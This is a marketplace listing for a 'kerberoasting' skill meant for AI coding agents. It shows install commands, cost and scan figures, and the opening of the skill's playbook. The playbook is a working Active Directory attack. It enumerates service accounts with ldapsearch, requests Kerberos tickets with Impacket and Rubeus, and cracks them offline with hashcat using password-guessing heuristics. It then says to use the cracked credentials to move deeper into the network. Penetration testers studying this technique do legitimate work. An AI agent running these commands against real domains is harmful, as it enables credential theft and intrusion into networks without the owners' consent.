kerberoasting

kerberoasting is a skill for Claude Code, Codex from MingyiSecLab/Mingyi-Atlas. It costs 30 tokens per session (1,033 once invoked), scanned A, a copy of kerberoasting, Apache-2.0.

A playbook for Kerberoasting, an Active Directory technique that requests service-login tickets and attempts to crack their encrypted passwords offline.

In plain words
What is it for?
It covers finding service accounts, requesting Kerberos service tickets, and preparing ticket data for password cracking with tools such as hashcat.
Why use it?
It helps security testers assess whether service accounts use passwords that can be recovered from requested tickets.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit It covers finding service accounts, requesting Kerberos service tickets, and preparing ticket data for password cracking with tools such as hashcat.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/kerberoasting
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill kerberoasting
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for kerberoasting

README.md
[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/kerberoasting/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/kerberoasting)
Your own site
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/kerberoasting"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/kerberoasting/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for kerberoasting

Your own site · 80×15
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/kerberoasting"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/kerberoasting.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 30 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,033 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 97% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00030 $0.01033
Opus 5 $0.00015 $0.00517
Sonnet 5 $0.00006 $0.00207
Haiku 4.5 $0.00003 $0.00103

Measured 11d ago against content hash 4a9c233b6b1e, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

kerberoasting scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

This is a copy

97% identical to kerberoasting — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/ad/kerberoasting/SKILL.md · 96 lines

How it starts

The opening of the file, as written. The whole thing — 96 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Kerberoasting Playbook

Prerequisite

Any valid domain user. No special privileges required.

1. Identify roastable accounts

From BloodHound ingest:

kg_query(kind="user", filter="hasspn=true and enabled=true")

Or LDAP-direct:

ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(samAccountType=805306368)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
  sAMAccountName servicePrincipalName > /tmp/spns.txt

2. Request TGS tickets

Impacket (most reliable):

GetUserSPNs.py DOM/USER:'PASS' -dc-ip DC_IP -request \
  -outputfile /tmp/kerb.hashes

Rubeus (from Windows beachhead):

Rubeus.exe kerberoast /outfile:C:\Windows\Temp\k.txt /nowrap

Modern hashes are $krb5tgs$23$*user$DOM$spn*$<ciphertext> (RC4). If forest is Win2012+, AES tickets may come back as $krb5tgs$18$*….

3. Crack offline

# RC4 (mode 13100)
hashcat -m 13100 -a 0 /tmp/kerb.hashes /usr/share/wordlists/rockyou.txt \
        --rules-file /usr/share/hashcat/rules/best64.rule

# AES256 (mode 19700)
hashcat -m 19700 -a 0 /tmp/kerb.hashes wordlist.txt

# Targeted rules for service-account passwords (often pattern-based)
hashcat -m 13100 -a 6 /tmp/kerb.hashes wordlist.txt '?d?d?d?d' \
        --rules-file /usr/share/hashcat/rules/d3ad0ne.rule

Service-account heuristics: 60-70% of kerberoasted accounts use:

  • ServiceName + season + year (e.g. SQLSvc2024!, IISWinter25)
  • App name + 4-digit numbers
  • Default install passwords (Veeam, SCCM, Splunk admins)
  • Custom dict from OSINT (company name, products, projects)

4. Promote cracked credential

kg_add_node(kind="credential", label="USER:CRACKED_PASSWORD",
            props={"source":"kerberoast","crack_time":"<n>m","mode":"hashcat-m13100"})
kg_add_edge(src=<cred>, dst=<user>, kind="authenticates")

5. Post-crack actions

Whatever the service account can reach is now yours:

  • Run BloodHound as the new cred → re-ingest
  • Often these accounts have AdminTo on the box hosting the service
  • Sometimes they're members of Tier-0 groups (yes, really)

Read the full file on GitHub · 96 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 96 lines · 30 tokens per session scan A 4a9c233b6b1e

Subscribe to this mod's changes

kerberoasting is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 30 tokens to every session and 1,033 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. It is 97% identical to kerberoasting, differing in 2 lines, and is treated as a copy.